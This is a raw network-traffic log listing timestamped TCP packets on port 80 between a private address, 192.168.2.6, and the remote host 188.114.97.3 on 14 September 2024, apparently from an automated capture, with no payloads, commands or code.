Sep 14, 2024 18:44:16.093668938 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.093758106 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.093774080 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.093787909 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.093803883 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.093817949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.093818903 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.093835115 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.093848944 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.093854904 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.093863964 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.093879938 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.093894958 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.093926907 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.094091892 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.094106913 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.094120979 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.094135046 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.094142914 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.094151020 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.094166040 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.094177961 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.094182014 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.094213963 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.094242096 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.094341993 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.094357014 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.094371080 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.094387054 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.094400883 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.094403028 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.094415903 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.094439983 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.094468117 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.094636917 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.094651937 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.094666958 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.094681025 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.094695091 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.094708920 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.094712019 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.094723940 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.094738960 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.094753981 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.094769001 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.094769001 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.094800949 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.094827890 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.095011950 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.095033884 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.095048904 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.095063925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.095077991 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.095079899 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.095093012 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.095103025 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.095108986 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.095124006 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.095139027 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.095139980 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.095154047 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.095190048 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.095221043 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.095369101 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.095391035 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.095405102 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.095421076 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.095438957 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.095443010 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.095455885 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.095468998 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.095504045 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.095603943 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.095618963 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.095633030 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.095649004 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.095665932 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.095698118 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.095813036 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.095829010 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.095844030 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.095858097 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.095875025 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.095881939 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.095911026 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.095976114 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.095995903 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.096009970 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.096025944 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.096029997 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.096060038 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.096064091 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.096117020 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.096122980 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.096131086 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.096196890 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.096239090 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.096254110 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.096268892 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.096285105 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.096298933 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.096302986 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.096313953 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.096342087 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.096369028 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.096877098 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.098961115 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.098978996 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.098997116 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.099015951 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.099031925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.099034071 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.099087954 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.099101067 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.099118948 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.099154949 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.099163055 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.099180937 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.099200964 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.099214077 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.099250078 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.099322081 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.099339962 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.099358082 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.099375963 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.099431038 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.099431992 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.099596977 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.099664927 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.099699020 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.099719048 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.099771976 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.099806070 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.099827051 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.099877119 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.099909067 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.099929094 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.099960089 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.099993944 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.100013018 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.100059032 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.100091934 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.100111008 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.100141048 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.100184917 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.100228071 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.100281000 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.100313902 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.100338936 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.100367069 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.100398064 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.100416899 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.100447893 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.100481987 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.100502014 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.100534916 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.100569963 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.100589037 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.100615025 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.100665092 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.181755066 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.181808949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.181859970 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.181883097 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.181914091 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.181965113 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.181983948 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.182014942 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.182058096 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.182077885 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.182126999 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.182161093 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.182192087 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.182214975 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.182249069 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.182269096 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.182317972 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.182351112 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.182379961 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.182404995 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.182454109 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.182472944 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.182509899 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.182543993 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.182564974 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.182595015 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.182629108 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.182667971 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.182698011 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.182799101 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.182823896 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.182856083 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.182888031 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.182908058 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.182939053 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.182971954 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.182991028 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.183017969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.183052063 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.183072090 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.183103085 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.183135033 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.183154106 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.183183908 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.183217049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.183240891 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.183269978 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.183314085 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.183341026 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.183372021 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.183429003 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.183456898 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.183492899 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.183525085 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.183546066 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.183573961 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.183607101 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.183634043 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.183660030 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.183692932 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.183713913 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.183743954 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.183775902 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.183794975 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.183825970 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.183860064 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.183885098 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.183912992 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.183964014 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.183984041 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.184012890 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.184046030 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.184065104 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.184094906 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.184128046 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.184149027 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.184179068 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.184212923 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.184235096 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.184283018 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.184315920 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.184340000 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.184384108 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.184417009 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.184448957 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.184468031 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.184499025 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.184530020 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.184552908 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.184588909 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.184607983 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.184633970 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.184668064 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.184700966 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.184725046 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.184756994 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.184777975 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.184808969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.184840918 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.184860945 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.184891939 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.184950113 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.184963942 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.184994936 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.185026884 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.185050964 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.185079098 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.185111046 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.185146093 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.185163975 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.185195923 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.185215950 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.185250044 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.185280085 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.185309887 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.185333014 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.185364962 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.185384989 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.185415983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.185450077 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.185468912 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.185499907 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.185532093 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.185550928 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.187403917 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.187464952 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.187493086 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.187545061 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.187690973 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.187705040 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.187751055 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.187788010 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.187807083 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.187854052 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.187889099 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.187907934 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.187935114 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.187966108 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.187984943 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.188033104 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.188065052 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.188085079 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.188116074 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.188146114 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.188186884 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.188210964 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.188242912 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.188277006 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.188313961 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.188345909 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.188365936 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.188397884 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.188443899 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.188467979 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.188519001 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.188550949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.188570976 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.188620090 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.188651085 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.188684940 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.188702106 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.188739061 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.188756943 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.188786983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.188818932 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.188839912 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.188869953 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.188900948 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.188921928 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.188952923 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.188983917 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.189007044 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.189035892 CEST	80	49722	188.114.97.3	192.168.2.6
